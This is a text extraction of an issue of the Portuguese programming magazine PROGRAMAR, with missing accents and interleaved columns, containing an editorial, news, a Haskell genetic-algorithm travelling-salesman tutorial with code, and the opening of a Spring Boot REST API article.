Você está na página 1de 99

EDITORIAL

EQUIPA PROGRAMAR

long long ago; /* in a galaxy far far away */

O titulo at parece brincadeira, mas srio! E compila em C99! E foi assim,


Coordenador h muito, muito tempo, que a primeira edio da revista, foi publicada, fazia o ano de
Antnio Pedro Cunha Santos 2006, no numa galxia muito, muito distante, mas num url perto de todos ns! E
assim o tempo passa! Tal qual histria de fico engraada ou de mitologia clssica,
a revista volta at aos seus leitores, como uma fnix renascida do famoso Albus
Editor
Dumbledore, retirada de um livro conhecido de todos, ou de quase!
Antnio Pedro Cunha Santos
No vale a pena fazer resumos do ano passado, porque o passado
histria que contamos, no mais do que isso, nem menos do que isso aqui no
Capa se tentam contar histrias, pelo contrrio, tentamos fazer histria.
Filipa Peres
Fazer histria dar uso quela que uma das mais elementares
capacidades do ser humano e que nos distingue dos restantes mamferos, a
Redaco capacidade de criar! Para alguns pode parecer estranho, mas programar criar
Andr Melancia novos mundos escrevendo cdigo, como pintar um quadro, como esculpir uma
Antnio Cruz pea, como escrever um livro, onde a sintaxe e a semntica devem fazer um sentido
Antnio Pedro Cunha Santos inequvoco.
Bruno Sonnino
Carlos Grilo Ouso dizer, sem querer ser demasiado ousado, que programar, sendo um
Edite Amorim verbo transitivo, pode significar mais do que apenas a diviso de um problema
Fbio Basso entregue a um equipamento eletrnico, em instrues que este aceite. Significar
Igor Nunes imaginar algo, construir esse algo abstrato mentalmente, e por fim descrever esse
Jos Martins algo em instrues capazes de serem executadas por um equipamento. Assim, de
Nuno Cancelo certa forma poder-se-ia dizer que programar to importante como escrever, ler,
Nuno Silva sonhar, pensar, definir, controlar, fazer uma complexa mirade de tarefas, dentro e
Ricardo Cristvo Miranda fora do mbito criativo. Isso faria de todos os programadores, entusiastas, aspirantes
Rita Peres
a programadores, verdadeiros artistas!
Vnia Gonalves
Vtor Carreira Parafraseando algo que li num chat, faz algum tempo, o nosso dever para
com a vida, aprendermos o que pudermos, ensinarmos o que soubermos,
Staff melhorarmos tudo em que tocamos, ajudar tudo o que conseguirmos, criar o que nos
Antnio Pedro Cunha Santos for possvel e deixar tudo melhor do que encontrarmos, para os que vierem depois
Igor Nunes de ns, no porque seja socialmente correto dizer tudo isto, mas antes porque um
Rita Peres programador, uma mente inquieta, uma mente inquisidora, criadora, artista e
cientista, de bits e bytes descritos! E nesses bits e bytes, aquilo que outrora lemos
Contacto
revistaprogramar@portugal-a- como fico, poder ser algo imprescindvel no dia a dia, do amanh! Algo que faa
programar.org a diferena, para algum, ainda que pouca seja, ser sempre alguma! Ser o sabre
de luz, de um personagem de cinema, ou o comunicador da fico de 1966. Quem
Website sabe at a Nimbus 2000 de atleta dos livros, numa competio desencantada,
http://www.revista-programar.info numa escola onde se chega de comboio a vapor, ou um simples rodap, de um
qualquer livro escrito.
ISSN
1 647-071 0
At prxima edio, boas leituras!
Antnio Santos

A revista PROGRAMAR um projecto voluntrio sem fins lucrativos. Todos os artigos so da responsabilidade dos autores, no
podendo a revista ou a comunidade ser responsvel por alguma impreciso ou erro.
Para qualquer dvida ou esclarecimento poder sempre contactar-nos.

2
NDICE
TEMA DE CAPA
6 Programao Gentica - Ricardo Cristvo Miranda

A PROGRAMAR

14 API Rest com Spring Boot (parte 1) - Jos Martins


27 Programao de aplicaes cliente/servidor assentes no protocolo de transporte UDP - Sandro Patrcio Domingues,
Vtor Carreira, Carlos Grilo
34 PHP 7 - Fbio Basso
37 Lets Brainfuck in Pascal! - Igor Nunes
42 JavaFX : Uma Breve Introduo - Nuno Cancelo

ELECTRNICA
47 Criptografia e segurana por hardware com Arduino/Genuino ou outros sistemas por I2C - Antnio Santos

COLUNAS
51 Interagindo com pginas web com C# - Bruno Sonnino
56 SQL Curtas - Intervalos de datas - Andr Melancia
57 Kernel Panic - WebSummit 2016 - Rita Peres

ANLISES
60 Desenvolvimento gil de Software Guia Prtico, 1 edio - Antnio Cruz
52 HTML 5 4a Edio Atualizada e Aumentada - Rita Peres

SEGURANA
65 Wifi Air Denial - Rita Peres
71 "30 30 37 - For Your Eyes Only" - Andr Melancia
72 NSA Secrets - Hacking SQL Server - Dynamic Data (UN)Masking - Andr Melancia

NO CODE
80 A primeira comunidade portuguesa de mulheres em tecnologia apresenta-se com novo nome e objetivos mais ambici-
osos - Vnia Gonalves
81 INSTALANDO UM SERVIDOR VPN NUM RASPBERRY PI - Antnio Santos
84 Segurana Familiar Microsoft no Windows 10: Um guia para Pais e Educadores - Nuno Silva
91 GameJAM - Antnio Santos

92 Entrevista a: Edite Amorim

EVENTOS
PowerShell Portugal #4: 2017-01-12 (qui) a partir das 18:30.
IT Pro Portugal #11: 2017-01-31 (ter) a partir das 18:30.
11 de maro o SQL Saturday Lisboa

Para mais informaes/eventos: http://bit.ly/PAP_Eventos. Divulga os teus eventos para o email eventos@portugal-a-
programar.pt

3
NOTCIAS
Franceses ganham o direito

Movimento Cdigo Portugal


de ignorar emails de trabalho - Hora do Cdigo
fora de horas. Entre 5 e 11 de Dezembro de 2016, decorreram por
A 1 de Janeiro a Frana assiste introduo de uma todo o pas, diversos eventos no mbito da Iniciativa Compe-
lei que permite aos trabalhadores negociarem quando respon- tncias Digitais, apoiada pelo Movimento Cdigo Portugal.
der ou no a emails de trabalho. Segundo a Agncia France-
Este movimento promovido pelo Governo, atravs de
Presse, o chamado direito a desconectar-se requer que to-
diversas reas, e pretende estimular o desenvolvimento de
das as empresas com mais de 50 trabalhadores negociem
competncias associadas ao pensamento computacional.
novas regras de contacto online com os seus trabalhadores.
Em diversas comunidades escolares, bem como insti-
A facilidade e ubiquidade da tecnologia tornou-nos em
tuies de investigao e de ensino superior, estudantes e
criaturas sempre ligadas e comum, no s na Frana, os
pblico em geral participaram em diversas atividades promo-
patres pensarem que podem enviar emails para os seus
vidas.
trabalhadores a qualquer hora seja de dia ou de noite.
No mbito da iniciativa, realizou-se o Concurso de
Esta constante presso tornou o humor humano para sempre
Cartazes HOC (Hour of Code), sendo o 1 lugar, `com 1078
desligado. De acordo com psiclogos a constante troca de
Likes, atribudo Escola Bsica 2 e 3 ciclos Estreito de C-
emails de trabalho pode mostrar-se prejudicial e txica para a
mara de Lobos, na Regio Autnoma da Madeira.
sade emocional.
De acordo com a lei atualmente, no existe penaliza-
o para empresas que no cheguem a acordo com os seus
trabalhadores.
Algumas empresas europeias anteviram esta tendn-
cia h j algum tempo. Por exemplo, em 2011 a VolksWagen
concordou em desativar os BlackBerrys dos seus trabalhado-
res no horrio no laboral, para impedir que os chefes os in-
comodassem.
Nos Estados Unidos uma empresa foi acusada de des-
pedir uma trabalhadora por esta ter removido uma app do
iPhone que seguia todos os seus movimentos 24 horas por
dia.
Ser que em Portugal estaremos preparados para ado-
tar esta legislao?
Fonte: Press Release

Em 2 lugar , com 1058 Likes, ficou o Agrupamento de


Escolas Pinheiro e Rosa, de Faro. Em 3 lugar com 1038
Likes, ficou a Escola Secundria Dr. Antnio Carvalho Figuei-
redo, de Loures.
Fonte: Pgina oficial do Hour of Code Portugal no Facebook

4
TEMA DE CAPA
Programao Gentica
TEMA DA CAPA
Programao Gentica

solues, criadas de uma forma aleatria e a sua avaliao


Resumo com a funo objetivo. (Neste projeto vamos trabalhar com
uma populao de tamanho fixo ao longo das geraes.)
Neste artigo descrevemos uma forma de resolver
problemas com algoritmos que se baseiam na teoria da sele- As geraes seguintes so criadas num ciclo que pra quan-
o natural. do se atinge a condio de paragem quando,por exemplo:

Iremos resolver o problema do caixeiro viajante, ilus- a funo objetivo atinge determinado valor;
trando-o com um programa em Haskell (https://
www.haskell.org/). ao fim de um nmero pr-determinado de geraes;

Introduo ao fim de determinado nmero de geraes deixou de


haver melhoria na aptido mdia e/ou do melhor ele-
A estrutura de um Programa Gentico (PG) muito
mento.
simples. O aspeto mais importante trata-se da codificao da
soluo no que se chama, no contexto da PG, um cromosso- Em cada gerao:
ma. Depois de se definir a estrutura do cromossoma ne-
1. as crias so o fruto da combinao dos cromossomas
cessrio encontrar uma forma de o avaliar, com uma funo
de dois progenitores;
objetivo, o que permite identificar a soluo do problema. A
funo objetivo d-nos a aptido de cada indivduo. O soma- 2. depois de criado o cromossoma sujeito a mutaes
trio das aptides de todos os indivduos da populao divi- genticas;
dido pelo tamanho da populao d-nos a aptido mdia da
3. a nova gerao avaliada pela funo objetivo; e
populao.
4. o elemento mais apto da nova gerao identificado.
Este indivduo a potencial soluo do problema.
O caixeiro viajante
O problema do caixeiro viajante foi escolhido para
ilustrar a PG porque bastante simples concretizar a codifi-
cao da soluo sobre a forma de um cromossoma.
Consideremos o caso de termos um domnio com 4
cidades A,B,C e D. Um cromossoma que representa uma
possvel soluo BDAC, ou seja, uma sequncia de cida-
des em que cada uma aparea uma vez. A funo objetivo
dada pela distncia total percorrida, ou seja, distncia B a D
mais distncia D a A mais a distncia de A a C.
Resultados
Vejamos um exemplo concreto da execuo do PG
que apresentamos de seguida. Comeamos por gerar, de
forma aleatria, um mapa com 20 cidades.

Inicia-se o programa com uma populao inicial de Localizao de 20 cidades.

6
TEMA DA CAPA
PROGRAMAO GENTICA
gerada uma populao inicial aleatria de 20 indiv- Init.hs:
duos. O elemento mais apto da populao inicial gera o per- max_ :: Float
curso na imagem seguinte. max_ = 100.0

newMap :: Int -> IO Cities


newMap 0 = return []
newMap i = do
gen <- newStdGen
let [ x, y ] = take 2 $ randoms gen :: [ Float ]
let (_, gen') = next gen
let city = newCity i (x*max_, y*max_)
rest <- newMap (i-1)
return (city : rest)

A declarao da funo newMap indica que a mesma


devolve IO Cities; IO significa que se trata de uma funo com
efeitos secundrios, neste caso a chamada a nmeros aleat-
rios (newStdGen).
Depois da declarao do mdulo e da importao das
bibliotecas relevantes (o cdigo completo est disponvel no
endereo referido no principio do artigo), definida uma cons-
tante com o tamanho da aresta do quadrado em que se locali-
Percurso proposto na primeira gerao. zam as cidades (quadrado com lado max_).

Como facilmente percetvel, este percurso est lon- A funo recursiva newMap cria uma lista com a locali-
ge de ser bom se o avaliarmos em termos da distncia total zao das cidades.
percorrida
No mdulo Init.hs tambm inicializada a populao de
Ao fim de 50 geraes gerado o seguinte percurso, solues:
em que visvel que se conseguiu uma soluo muito me-
lhor (sem uma procura exaustiva no se pode afirmar que createPopulation :: Int -> Int -> IO Population
createPopulation 0 _ = return []
a soluo tima). createPopulation size nbrCities = do
individual <- createIndividual nbrCities
rest <- createPopulation (size-1) nbrCities
return (individual : rest)

A funo recursiva createPopulation cria uma popula-


o com tamanho size e em que cada indivduo tem um cro-
mossoma com nbrCities genes.
O cromossoma de cada indivduo constitui uma soluo
vlida para o problema, ou seja, uma combinao aleatria
das cidades, passando em todas as cidades apenas uma vez.
Os mdulos City.hs, Cities.hs e Population.hs sero
apresentados mais frente.
Indivduos
Comecemos por ver a definio de indivduo no mdulo
Individual.hs.

Percurso proposto na quinquagsima gerao. data Individual = Individual { chromosome ::


[ (Int, Int) ]
De seguida vamos ver o programa e finalizar este , fitness :: Maybe Float }
artigo com a apresentao de uma corrida do programa em deriving Show
maior detalhe.
Um indivduo definido num tipo derivado chamado
Condies iniciais
Individual que contem 2 campos:
O domnio do problema um quadrado com um lado
de 100. So colocadas em pontos aleatrios o nmero de o cromossoma uma lista de pares de inteiros, o pri-
cidades definido pelo utilizador quando lana o programa. O meiro tem a posio do gene no cromossoma e o se-
cdigo para gerar cidades est no mdulo. gundo inteiro o gene, neste caso o nome da cidade;

7
TEMA DA CAPA
PROGRAMAO GENTICA
o campo fitness definido como Maybe Float. Depois calcFitness :: Cities -> Population -> Population
de calculada a funo objetivo para um individuo o calcFitness _ [] = []
calcFitness cities (p:ps) =
valor da sua aptido guardada aqui. Enquanto no p { fitness = Just (calcTotalDistance (map
for calculada a funo objetivo o seu valor Nothing. (findCity cities . snd) (chromosome p))) }
Podemos pensar no Nothing como o que em Java ou : calcFitness cities ps
C++ o valor Null. Em Haskell um valor do tipo May-
be pode ser Nothing ou aquilo que foi definido, neste Finalmente a funo calcFitnessPopulation faz a mi-
caso um real (float). da das distncias percorridas em todos os elementos da
populao.
Continuemos a ver o mdulo Individual.hs. De segui-
da o tipo derivado Individual estendido com Eq e Ord. Es- calcFitnessPopulation :: Population -> Float
tas duas definies permitem ordenar os indivduos da popu- calcFitnessPopulation p =
(sum $ map fit p) / fromIntegral (length p)
lao de acordo com a sua aptido. Desta forma torna-se where
trivial detetar o elemento mais vlido da populao. fit x = fromMaybe (error "Clashes unknown,
module Population, function calcFitnessPopulation")
instance Eq Individual where (fitness x)
Individual { fitness = a } == Individual
{ fitness = b } = Just a == Just b
No mdulo Population.hs so ainda definidas outras
instance Ord Individual where importantes funes, como por exemplo a funo ordPopula-
compare Individual { fitness = a } Individual tion que reorganiza os indivduos de uma populao do mais
{ fitness = b } = compare (Just a) (Just b)
apto para o menos apto.

ordPopulation :: Population -> Population


A funo newIndividual, definida abaixo, uma inter- ordPopulation = sort
face conveniente para construir um indivduo a partir de um
novo cromossoma. O valor inicial da aptido Nothing.
A funo tournamentSelection escolhe n elementos
newIndividual :: [ (Int, Int) ] -> Individual da populao de forma aleatria e, no final, retorna o indiv-
newIndividual gs = Individual { chromosome = gs duo mais apto desse grupo.
, fitness = Nothing }
tournamentSelection :: Int -> Population -> IO In-
dividual
A funo createIndividual devolve um novo indivduo. tournamentSelection n p = do
De cada vez que invocada um indivduo com um diferente is <- randList n p
cromossoma gerado. A ordem da visita s cidades gera- return (head $ ordPopulation is)
da aleatoriamente.
A funo selectParents chama a funo tournamen-
createIndividual :: Int -> IO Individual tSelection duas vezes para selecionar dois progenitores.
createIndividual n = do
gen <- newStdGen selectParents :: Int -> Population -> IO
let xs' = [ 1..n ] (Individual, Individual)
let xs = Prelude.zip [ 0.. ] (shuffle' selectParents n p = do -- tournament size, previous
xs' (Prelude.length xs') gen) population
return (newIndividual xs) parent1 <- tournamentSelection n p
parent2 <- tournamentSelection n p
return (parent1, parent2)
A populao e a funo objetivo
A funo objetivo selecionada foi a distncia total A funo crossover a mais complicada de
percorrida com o trajeto definido no cromossoma de cada todo o programa. Vamos comentar ao longo da mesma. A
indivduo. A funo objetivo est definida no mdulo Popula- imagem abaixo ilustra a forma como um cromossoma gera-
tion.hs, chama-se calcTotalDistance e calcula a distncia do a partir dos cromossomas dos pais.
total percorrida quando se visita as cidades pela ordem defi-
nida em cada cromossoma. M E D A C B
calcTotalDistance :: Cities -> Float
calcTotalDistance [] = error "Unsuficient number
of cities, module Popoulation, function cal-
cFitness"
calcTotalDistance [_] = 0
calcTotalDistance (c1:c2:cs) = squareDistance c1
c2 Cr B D A C E
+ calcTotalDistance
(c2:cs)

A funo recursiva calcFitness aplica a funo calc-


TotalDistance a todos os indivduos da populao.
P C B A D E

8
TEMA DA CAPA
PROGRAMAO GENTICA
crossover :: Float -> (Individual, Individual) -> Nesta funo um cromossoma percorrido e, de
IO Individual acordo com a probabilidade atribuda para a ocorrncia de
crossover c parents = do mutaes, duas cidades trocam de posio dentro do cro-
gen <- newStdGen
let r = head $ take 1 $ randoms gen :: Float mossoma.
if c < r
then return (fst parents) mutation :: Float -> Individual -> IO Individual
else do mutation mutationRate i = do
gen' <- newStdGen let swapGene i pos1 = case pos1 of
(-1) -> return i
Comeamos por escolher duas posies para decidir otehrwise -> do
gen <- newStdGen
quais as regies do cromossoma da cria que tem os genes let r = head $ drop (snd $ chromosome
do pai ou da me. Entre os pontos selecionados, rs, o cro- i !! pos1) $ randoms gen :: Float
mossoma uma cpia do cromossoma do primeiro progeni- if m < r
then swapGene i (pos1-1)
tor. else do
gen' <- newStdGen
let rs = take 2 $ randomRs (0, length let pos2 = head $ drop (snd $
(chromosome $ fst parents)) gen' :: [ Int ] chromosome i !! pos1)
let pos1 = minimum rs $ randomRs (0, length
let pos2 = maximum rs (chromosome i) - 1) gen' :: Int
let g1 = (pos1, snd $ chromosome
let ( _, chromosomeFstParent ) = unzip i !! pos2)
(chromosome $ fst parents) let g2 = (pos2, snd $ chromosome
let ( _, chromosomeSndParent ) = unzip i !! pos1)
(chromosome $ snd parents) let i' = modifyChromosome
(modifyChromosome i g2) g1 -- swaping genes
let fstParentContrib = drop pos1 $ take pos2 swapGene i' (pos1-1)
chromosomeFstParent swapGene i (length (chromosome i) - 1)
Visto que nenhuma cidade pode ser repetida, retira-
mos do cromossoma do segundo progenitor todos os genes A funo recursiva offspring cria n indivduos para a
que j esto no filho, isto feito em sndParentContrib. nova gerao a partir da gerao anterior. Comea por sele-
cionar dois pais, cruza os seus cromossomas e sofre muta-
let sndParentContrib = [ x | x <- chromoso- o.
meSndParent, notElem x fstParentContrib ]
offspring :: Int -> Int -> Float -> Float -> Popu-
ChildChromosome o cromossoma criado pelo cru- lation -> IO Population
zamento dos cromossomas dos pais. offspring 0 _ _ _ _ = return []
offspring n tSize m c p = do
let childChromosome = take pos1 sndParen- individual <- selectParents tSize p >>= crosso-
tContrib ver c >>= mutation m
++ fstParentContrib rest <- offspring (n-1) tSize m c p
++ drop pos1 sndParentContrib return (individual : rest)
A funo newGeneration chamada a cada iterao
let child = newIndividual (zip [ 0.. ]
childChromosome) do programa. Esta funo preserva de forma elitista os e
indivduos mais aptos da gerao anterior, garantindo que os
if length (chromosome $ fst parents) /= melhores cromossomas no so perdidos entre geraes.
length (chromosome child) Depois so criados novos indivduos de forma a manter o
then error "Length mismatch, module
Population, function crossover. \n" tamanho da populao estvel.
else return child
newGeneration :: Int -> Int -> Float -> Float
Outra funo fundamental a mutation. -> Cities -> Population -> IO Population
newGeneration e t m c cs ps = do
let pElite = take e $ ordPopulation ps
ps' <- offspring (length ps - e) t m c ps
E D A C B return (calcFitness cs $ pElite ++ ps')

Cidades

Mutao A cidades so definidas em 2 mdulos, o mdulo


City.hs e o mdulo Cities.hs. Comecemos pelo mdulo
City.hs. Este mdulo contem definio do tipo City, que tem
um inteiro que serve de identificao, no fundo o nome da
cidade, pos que so 2 reais que definem as coordenadas da
C D Ac E B cidade. deriving Show significa que possvel converter este

9
TEMA DA CAPA
PROGRAMAO GENTICA
tipo em texto, sendo desta forma fcil escrever para o ecr args <- getArgs
ou para um ficheiro. if head args == "--help" || null args
then helpMessage
data City = City { id :: Int else case length args of
, pos :: (Float, Float) } deri- 7 -> do
ving Show
newCity uma interface para abstrair o tipo e O primeiro argumento nmero de geraes que o
facilitar a definio de cidades.
newCity :: Int -> (Float, Float) -> City programa gerar.
newCity i (x, y) = City { City.id = i
, pos = (x, y) } let iter = read $ head args :: Int

A funo squareDistance calcula a distncia entre 2 O segundo argumento o nmero de cidades a percorrer.
cidades. A distncia dada pela equao:
let nbrCities = read (args !! 1) :: Int

O terceiro argumento o tamanho da populao.

mas, devido ao facto de o clculo da raiz quadrada ser uma let size = read (args !! 2) :: Int
operao computacionalmente muito pesada, utilizmos o
quadrado da distncia que, em termos de funo objetivo O quarto argumento a probabilidade de um cromos-
produz o mesmo resultado na seleo do indivduo mais soma sofrer mutao.
apto, ou seja: let mutationRate = read (args !! 3) ::
Float
O quinto argumento a probabilidade de um indiv-
duo no ser preservado entre geraes, sendo substitudo
squareDistance :: City -> City -> Float por uma cria.
squareDistance a b =
(fst (pos a) - fst (pos b)) ^ 2 + (snd (pos a) - let crossoverRate = read (args !! 4) :: Float
snd (pos b)) ^ 2
O sexto argumento define o nmero de indivduos, os
O mdulo Cities.hs define o tipo Cities, que uma
mais aptos da sua gerao, que so preservados entre gera-
lista de cidades e a funo findCity que encontra uma cidade
es, a elite.
numa lista de cidades a partir do seu nome (que no caso do
nosso programa um nmero inteiro. let elite = read (args !! 5) :: Int
type Cities = [ City ] O stimo e ltimo argumento define o tamanho dos
findCity :: Cities -> Int -> City torneios de seleo. A seleo dos progenitores por torneio
findCity cs id = head $ filter (\ c -> City.id c == exige que se escolha aleatoriamente este nmero de indiv-
id) cs duos da populao e de seguida se escolha o mais apto
entre eles.
O mdulo principal
let tournamentSize = read (args !! 6) :: Int
O mdulo principal, chamado Main.hs, serve apenas
para colar o programa. Tem uma inicializao em que as
Agora vamos criar aleatoriamente as cidades, gerar
opes passadas por argumento so interpretadas e gerada
uma populao inicial e calcular a sua aptido.
a populao inicial. O ciclo principal invoca cada nova gera-
o de programas at um nmero limite de geraes e, final- cities <- newMap nbrCities
mente, so produzidos os resultados sob a forma de um rela- p <- createPopulation size nbrCities
trio na consola e um grfico que mostra a evoluo da fun- let population = calcFitness cities p
o objetivo para a populao e para o melhor indivduo de Chagmos agora ao ciclo principal que ser invocado
cada gerao. recursivamente o nmero de vezes que se definiu como o
nmero de geraes. A funo loop ser apresentada de
Comecemos por ver a funo main, em que encontra-
seguida.
mos todo o controle do programa. Visto que esta funo
muito grande vamos fazendo a sua descrio ao longo da fitness <- loop 0 iter elite
mesma. getArgs permite capturar uma lista de argumentos tournamentSize mutationRate
crossoverRate cities population
quando se invoca um programa pela consola. De seguida
verifica-se se foram detetados 7 argumentos. Se o nmero Chegmos ao final do programa com a apresentao
de argumentos estiver errado o programa aborta e aparece dos resultados e a gerao de um grfico com a evoluo da
uma mensagem a explicar a forma correta de correr o pro- funo objetivo.
grama (funo helpMessage).
print $ head fitness
main :: IO () print $ last fitness
main = do printGraphic fitness

10
TEMA DA CAPA
PROGRAMAO GENTICA
print "End of program, aditional output in A localizao das cidades a seguinte:
graphic Fitness.png"
_ -> do "City 12, @ (65.06525,9.130234)"
putStrLn "Invalid input, invalid number of
arguments" "City 11, @ (1.7288387,21.4126)"
putStrLn "Type --help"
"City 10, @ (96.6185,40.78105)"
A funo loop apresentada abaixo. Em cada gera- "City 9, @ (70.04279,37.5175)"
o calculada a sua aptido total e identificado o individuo
"City 8, @ (0.20877123,19.957483)"
mais apto.
"City 7, @ (7.744688,78.13819)"
loop :: Int -> Int -> Int -> Int -> Float -> Float
-> Cities -> Population -> IO [ (Int, Float, "City 6, @ (0.89448094,54.392082)"
Float, Int) ]
loop _ 0 _ _ _ _ cs p = do "City 5, @ (69.91828,98.07392)"
printSolution (head $ ordPopulation p) cs
return [] "City 4, @ (56.88199,29.965574)"
loop n iter e tSize m c cs p = do
p' <- newGeneration e tSize m c cs p "City 3, @ (11.36232,58.524315)"
let f = fromMaybe (error "Fitness not available,
module Main, function loop") "City 2, @ (54.007877,59.29535)"
(fitness (head $ ordPopulation
p')) "City 1, @ (93.36562,77.753075)"

let result = (n, f, calcFitnessPopulation p', De seguida apresentada a aptido da soluo en-
length p') contrada. O elemento mais apto da primeira gerao tem
rest <- loop (n+1) (iter-1) e tSize m c cs p' uma aptido (soma do quadrado das distncias entre cida-
return (result : rest) des) de 22418,232, com o percurso seguinte.

Correr o programa
Para gerar o executvel escreva na consola:

cabal install -j

Para a executar o programa escreva na consola:


.cabal-sandbox/bin/geneticTSP 50 12 30 0.01 0.95
2 5
Com o comando acima estamos a correr 50 gera-
es, com 12 cidades, uma populao de 30 indivduos, com
uma mutao de 1% e uma taxa de novos elementos entre
geraes de 95%. Os dois melhores indivduos de cada ge-
rao so preservados (elitismo) e a seleo dos pais feita
em torneios de 5 elementos.
Vamos apresentar os resultados de uma corrida com
estes parmetros. O mapa gerado apresentado abaixo. Melhor percurso da primeira gerao
Ao fim das 50 geraes o percurso encontrado fran-
camente melhor, com uma aptido de 12748,153.

Mapa com 12 cidades. Percurso proposto ao fim de 50 geraes.

11
TEMA DA CAPA
PROGRAMAO GENTICA
Este percurso o seguinte: A PG apenas necessita de uma forma de gerar solu-
es iniciais e uma frmula de avaliao de solues (funo
"Visit: 0, city 7" objetivo). Tudo o resto feito de forma evolutiva sem que
"Visit: 1, city 2"
"Visit: 2, city 5" seja necessrio incorporar nenhum conhecimento do dom-
"Visit: 3, city 1" nio em que se est a trabalhar.
"Visit: 4, city 10"
"Visit: 5, city 9" Aconselho os leitor a correr o programa com variao
"Visit: 6, city 12" dos parmetros de entrada e poder observar que a PG
"Visit: 7, city 4"
"Visit: 8, city 3" muito robusta, sendo capaz de gerar boas solues para
"Visit: 9, city 6" uma vasta gama de parmetros (tamanho da populao,
"Visit: 10, city 11" mutao, cruzamento, etc.).
"Visit: 11, city 8"
Aplicaes correntes para a PG incluem:
tambm gerado um grfico com as evolues da
aptido mdia e da aptido do melhor elemento de cada
projeto de circuitos eltricos e eletrnicos;
gerao. A tendncia para a distncia mdia da populao programar robots ou drones;
de diminuio mas, como se pode observar, h oscilaes.
Em cada gerao as crias recebem parte do seu cromosso- desenvolvimento de programas em linguagens espe-
ma do pai e outra parte da me. Depois ainda poder sofrer cficas de domnio;
mutaes genticas. Os filhos podem ser menos aptos do
que os pais. Contudo, devido presso da seleo natural, gerao automtica de programas; e
apenas os mais aptos passam os seus genes e a tendncia
correo automtica de erros em programas.
de uma melhoria da aptido mdia com o tempo.
Pensamos que alguns aspetos da Inteligncia Artifici-
al sero cada vez mais incorporados em programas conven-
cionais. Por exemplo se se incorporar funes objetivo nos
programas ser possvel elaborar anlises estatsticas entre
os dados do programa, os parmetros selecionados e a fun-
o objetivo. Desta forma poder-se- conseguir escrever
programas cujos resultados so progressivamente melhores
medida que so executados mais vezes.
E ainda...
A PG um campo muito vasto e apenas aflormos o
assunto. Duas das reas que mais curiosas so:

Evoluo das aptides mdia e do melhor elemento. funes objetivo multi-dimensionais; e


Como se pode verificar, a soluo proposta foi encon- a paralelizao e distribuio numa rede ser possvel
trada ao fim de 5 geraes. Entre a primeira e a ltima gera- sem alteraes ao algoritmo.
es a aptido mdia da populao melhorou 47,88% e a do
indivduo mais apto 43,13%. Bibliografia

Concluses Lee Jacobson and Burak Kanber, Genetic Algorithms


in Java Basics, Apress, 2015.
A PG um paradigma muito intrigante e com grande
potencial e que, como acabmos de ver, fcil de implemen- Riccardo Poli, William B. Langdon and Nicholas F.
tar. Muitas vezes uma forma computacionalmente leve de McPhee, A Field Guide to Genetic Programming, published
resolver problemas para os quais: via http://lulu.com and freely available at http://www.gp-field-
guide.org.uk, 2008. (With contributions by J. R. Koza)
poder no haver algoritmos; ou
Rick Riolo, Ekaterina Vladislavleva, Marylyn D. Ritchie
conhecimentos para os resolver. and Jason H. Moore, Genetic Programming Theory and
Practice X, Springer, 2013.

AUTOR
Escrito por Ricardo Cristvo Miranda

Cdigo disponvel em: github.com/ricardoMiranda/haskellGeneticTSP

12
A PROGRAMAR
API Rest com Spring Boot (parte 1)
Programao de aplicaes cliente/servidor assentes no protocolo de
transporte UDP
PHP 7
Lets Brainfuck in Pascal!
JavaFX : Uma Breve Introduo
A PROGRAMAR
API Rest com Spring Boot (parte 1)

No mundo JAVA, o framework open source Spring, configurao trabalhosa.


no sendo o nico, quase um standard para quem preten-
Conscientes desse problema, a equipa por detrs do
de adotar um padro de injeo de dependncias / MVC,
Spring criou o Spring Boot o qual nos permite em cinco minu-
que nos facilita bastante a vida pois permite que nos concen-
tos criar um projeto Spring que inclui todas as dependncias
tremos essencialmente nas business rules evitando ter de
que necessitamos sem termos de perder horas com configu-
desenvolver as partes mais trabalhosas as quais so geridas
raes.
pelo framework. De uma forma simplificada, podemos ento
dizer que o Spring um framework de injeo de dependn- certo que o Spring Boot se baseia bastante nos
cias, capaz de gerir o ciclo de vida dos diversos componen- defaults que a equipa desenvolvedora entendeu serem os
tes e que inclui mdulos (ou projetos), bastante robustos e mais corretos para cada situao, no entanto, caso o progra-
com provas dadas, que nos permitem interligar um enorme mador pretenda, todas essas pr-configuraes podem ser
nmero de tecnologias bastante comuns em JAVA. alteradas (embora muitas vezes isso signifique retornar aos
ficheiros XML como forma de fazer o override desses defau-
Injeo de Dependncias
lts, mesmo assim os mesmos so bem mais pequenos em
Imaginemos uma arquitetura de programao basea- relao ao que acontece num projecto Spring puro).
da em componentes soltos. Vamos agora imaginar que al-
Neste artigo, dividido em duas partes, pretendemos
guns desses componentes prestam servios e outros conso-
apresentar os passos para o desenvolvimento de uma pe-
mem esses servios. Chamemos ao primeiro tipo de compo-
quena API REST de nvel 2 (de acordo com o modelo de
nentes servios e ao segundo tipo de componentes
maturidade Richardson) capaz de providenciar as funes
clientes. Numa arquitetura deste tipo, conclumos que o
bsicas de um CRUD com uma base de dados MySQL, re-
componente servio, representa uma dependncia, pois os
cebendo e devolvendo dados em formato JSON atravs de
componentes cliente dependem deles para executar a sua
pedidos HTTP que podem ser efetuados a partir de qualquer
tarefa.
dispositivo e praticamente em qualquer linguagem. No final
Aqui coloca-se a questo: se os componentes so
obteremos um ficheiro nico ao qual habitualmente chama-
soltos, no se conhecendo ou referindo uns aos outros,
mos fat jar, com tudo o que necessrio embutido (incluindo
como vo comunicar entre si? aqui que entra a injeo de
o servidor Apache Tomcat), e que pode ser executado em
dependncias que consiste em passar a dependncia (o
vrios equipamentos desde que capazes de correr a JVM.
servio) aos objetos que dele dependem (os clientes).
Ferramentas
Neste contexto, o Spring oferece-nos a capacidade
de identificar declarativamente quais os componentes que Para o nosso pequeno projeto iremos utilizar:
atuam como servios e quais os que atuam como clientes
efetuando a ligao (injeo) entre eles quando necessrio. JAVA
MySQL
Facilmente podemos concluir que esta arquitetura nos
traz imensos benefcios como a reutilizao de componen- HeidiSQL (- opcional - uma ferramenta open source
tes, a reduo da complexidade do cdigo, a facilidade em que nos permite criar bases de dados, tabelas, intro-
alterar determinado componente, a simplificao de testes, duzir ou consultar dados e que pessoalmente consi-
pois podemos testar os componentes independentemente, a dero mais rpida e bem mais intuitiva que o MySQL
reduo de bugs e consequente aumento de produtividade. Workbench)
Apache Tomcat (servidor web que implementa a
Ao longo dos anos o Spring foi-se tornando cada vez especificao de Java servlets e outras)
mais poderoso e complexo, includo solues para quase
Spring Tool Suite (uma verso do IDE Eclipse es-
todas as situaes. Essa complexidade trouxe um custo
pecialmente preparada pela equipa do Spring para
acrescido no que se refere configurao e manuteno de
trabalhar como bvio com o Spring Framework)
um projeto, o qual passou a ser demorado, muito baseado
